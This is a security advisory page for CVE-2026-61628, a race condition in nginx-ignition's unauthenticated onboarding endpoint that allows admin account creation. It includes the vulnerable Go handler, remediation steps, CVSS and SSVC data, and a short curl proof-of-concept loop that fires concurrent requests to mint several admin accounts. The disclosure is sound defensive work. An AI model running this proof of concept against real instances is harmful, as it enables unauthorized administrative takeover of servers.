Skip to content
CVE IDCVE-2026-61628GitHub advisory IDGHSA-pxcx-fv34-x9p5

nginx ignition has Unauthenticated Admin Account Creation via Onboarding Race Condition

CVE-2026-61628 (GitHub advisory GHSA-pxcx-fv34-x9p5) is a high-severity vulnerability with a CVSS 3.1 base score of 8.1, classed as Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (CWE-362), in github.com/lucasdillmann/nginx-ignition (Go). Affected versions: < 0.0.0-20260621194639-0586b4e55ab. It is fixed in 0.0.0-20260621194639-0586b4e55ab.

High8.1Fix availableGitHub reviewed

Published 21 Sept 2026Updated 21 Sept 2026

8.1HighCVSS 3.1
EPSS
Not scored
Weakness (CWE)
  • CWE-362Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
KEV status
Not in KEV
Published
21 Sept 2026
Updated
21 Sept 2026
Ecosystem
  • Go
Assigned by (CNA)
GitHub_M

Summary

Source: OSV (GitHub advisory)

POST /api/users/onboarding/finish is registered as anonymous (unauthenticated) and creates a user with full ReadWrite admin permissions. Because the handler uses a check-then-act (TOCTOU) pattern between the "onboarding already completed?" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race.

Affected component

  • Endpoint: POST /api/users/onboarding/finish
  • Route registration: api/user/routes.go:49 → authorizer.AllowAnonymous(http.MethodPost, "/api/users/onboarding/finish")
  • Handler: api/user/onboarding_finish_handler.go

Technical details

The route is explicitly allowed without authentication:

// api/user/routes.go:48-49
authorizer.AllowAnonymous(http.MethodGet,  "/api/users/onboarding/status")
authorizer.AllowAnonymous(http.MethodPost, "/api/users/onboarding/finish")

The handler reads the onboarding state, returns 403 if already finished, and otherwise creates a user with every permission set to ReadWrite:

// api/user/onboarding_finish_handler.go
func (h onboardingFinishHandler) handle(ctx *gin.Context) {
    alreadyFinished, err := h.commands.OnboardingCompleted(ctx.Request.Context())  // (1) CHECK
    if err != nil { panic(err) }
    if alreadyFinished {
        ctx.Status(http.StatusForbidden)
        return
    }

    requestPayload := &userRequestDTO{}
    if err = ctx.BindJSON(requestPayload); err != nil { panic(err) }

    domainModel := converter.Wrap(ctx.Request.Context(), toDomain, requestPayload)
    domainModel.ID = uuid.New()
    domainModel.Enabled = true
    domainModel.Permissions = user.Permissions{        // full admin
        Hosts:        user.ReadWriteAccessLevel,
        Streams:      user.ReadWriteAccessLevel,
        Certificates: user.ReadWriteAccessLevel,
        Integrations: user.ReadWriteAccessLevel,
        AccessLists:  user.ReadWriteAccessLevel,
        Settings:     user.ReadWriteAccessLevel,
        Users:        user.ReadWriteAccessLevel,
        NginxServer:  user.ReadWriteAccessLevel,
        Caches:       user.ReadWriteAccessLevel,
        // ...all remaining permissions ReadWrite/ReadOnly
    }

    if err = h.commands.Save(ctx.Request.Context(), domainModel, nil); err != nil {  // (2) ACT
        panic(err)
    }
    // ...authenticates and returns a JWT for the new admin
}

The gap between (1) OnboardingCompleted() and (2) Save() is not protected by a lock, transaction, or unique constraint. Two or more requests can each pass the alreadyFinished == false check before any of them commits, so every racing request proceeds to create an admin user and receive a valid admin JWT.

Preconditions (stated honestly)

This is exploitable when the instance is in a pre-onboarding state:

  1. Fresh deployment — the time window between the service coming online and the legitimate operator completing onboarding. During this window any unauthenticated party who can reach the instance can register the first/an additional admin. The race lets an attacker slip an admin account in alongside the operator's, so the operator's onboarding appears to succeed normally while the attacker silently holds admin.
  2. State reset — if onboarding state can return to "not completed" (e.g. all users removed), the endpoint reopens and becomes a repeatable unauthenticated admin-creation primitive.

The single-request path is a setup-window exposure; the race is what turns "first legitimate admin" into "attacker also gets admin," and what allows multiple admin accounts to be minted from one burst.

Proof of concept

Against an instance that has not yet completed onboarding:

# Fire concurrent onboarding-finish requests; multiple admin accounts are created,
# each returning a valid admin JWT, despite the single-admin intent.
for i in $(seq 1 20); do
  curl -s -X POST http://TARGET/api/users/onboarding/finish \
    -H 'Content-Type: application/json' \
    -d '{"username":"attacker'"$i"'","password":"P@ssw0rd123!"}' \
    -o /dev/null -w "%{http_code}\n" &
done
wait
# Multiple 200 responses (each with a login token) instead of exactly one 200 + N×403.

Each 200 response body contains a userLoginResponseDTO with a JWT granting full admin access (Hosts/Streams/Certificates/Settings/Users/NginxServer/AccessLists/Caches = ReadWrite). The attacker then has complete control of the nginx-ignition instance and the nginx server it manages.

Impact

  • Unauthenticated administrative account takeover of a fresh (or reset) instance.
  • Full admin enables every downstream capability: creating hosts/routes, editing global and per-route nginx configuration, managing access lists and certificates, and controlling the nginx server process. (The config surface is itself injectable — see the related nginx-configuration-injection issues — so admin here is a path to SSRF / arbitrary nginx directives.)
  • The TOCTOU race additionally allows minting multiple admin accounts from a single concurrent burst, aiding persistence/stealth.

Remediation

  1. Make onboarding completion atomic: enforce a database-level unique constraint (e.g. "at most one onboarding user" / single-row guard) so concurrent creates collide, or wrap the check-and-create in a single transaction / mutex.
  2. Re-check OnboardingCompleted() inside the same transaction that performs the insert, and abort on conflict.
  3. Consider requiring a one-time setup token (printed to server logs / env at first boot) for the initial admin creation, eliminating the unauthenticated window entirely.

Finding ID: GM-4607

Technical details

Source: GitHub Advisory Database

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

High8.1Base score from GitHub Advisory Database

Attack Vector AV
Network
Attack Complexity AC
High
Privileges Required PR
None
User Interaction UI
None
Scope S
Unchanged
Confidentiality C
High
Integrity I
High
Availability A
High

CISA SSVC decision points

Exploitation
poc
Proof-of-concept code is public
Automatable
no
Needs manual steps per target
Technical impact
total
Full control of the affected system

CISA Coordinator assessment (SSVC 2.0.3) via CVE.org.

Affected packages

Source: OSV (GitHub advisory)

  • github.com/lucasdillmann/nginx-ignition
    Go
    pkg:golang/github.com/lucasdillmann/nginx-ignition
    Affected versions
    < 0.0.0-20260621194639-0586b4e55ab
    Fixed in
    0.0.0-20260621194639-0586b4e55ab

Fix

Source: OSV (GitHub advisory)

Fix available

Upgrade to 0.0.0-20260621194639-0586b4e55ab or later.

Patch commits

  • 0586b4ePatch commitgithub.com/lucasdillmann/nginx-ignition

    Security fixes and updates (#131)

    +1551 −1134 across 30 files

    • .github/workflows/release.yml+1 −1
    • .github/workflows/snapshot.yml+2 −2
    • CHANGELOG.md+5 −2
    • Dockerfile+1 −1
    • Makefile+1 −0
    • api/go.mod+10 −10
    • api/go.sum+19 −18
    • api/user/onboarding_finish_handler.go+7 −1
    • and 22 more files
  • #131Pull requestgithub.com/lucasdillmann/nginx-ignition

Release commits

The commits each fixed release tag points at. They usually bump the version rather than contain the fix itself.

  • 801026eRelease commit2.41.1github.com/lucasdillmann/nginx-ignition

Vulnerability intelligence

References

Credits

Questions about CVE-2026-61628

What is the GHSA ID for CVE-2026-61628?
GitHub tracks CVE-2026-61628 as GHSA-pxcx-fv34-x9p5.
What is the CVSS score of CVE-2026-61628?
CVE-2026-61628 has a CVSS 3.1 base score of 8.1 (High), vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
Which versions are affected by CVE-2026-61628?
github.com/lucasdillmann/nginx-ignition (Go): < 0.0.0-20260621194639-0586b4e55ab.
How do I fix CVE-2026-61628?
Upgrade to 0.0.0-20260621194639-0586b4e55ab or later. The fix is in commit 0586b4e and pull request #131.
What is the Package URL (PURL) for CVE-2026-61628?
The affected package's PURL is pkg:golang/github.com/lucasdillmann/nginx-ignition.
Is CVE-2026-61628 exploited in the wild?
CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-61628. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc".

Data sources

Upstream records

  • OSV (GitHub advisory)LoadedRaw JSON
  • GitHub Advisory DatabaseLoadedRaw JSON
  • OSV (CVE record)LoadedRaw JSON
  • CVE.orgLoaded
  • CISA KEV catalogLoaded
  • FIRST EPSSUnavailable

Fetched 1 day ago (14 Oct 2026, 17:50 UTC). Records refresh automatically after 24 hours.

Where each part of this page came from

Title and description
OSV (GitHub advisory)
Severity score
GitHub Advisory Database
Weakness (CWE)
GitHub Advisory Database
Affected packages
OSV (GitHub advisory)
Fix
OSV (GitHub advisory)
References
Computed by CVEminer
SSVC
CVE.org
KEV status
CISA KEV catalog

OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.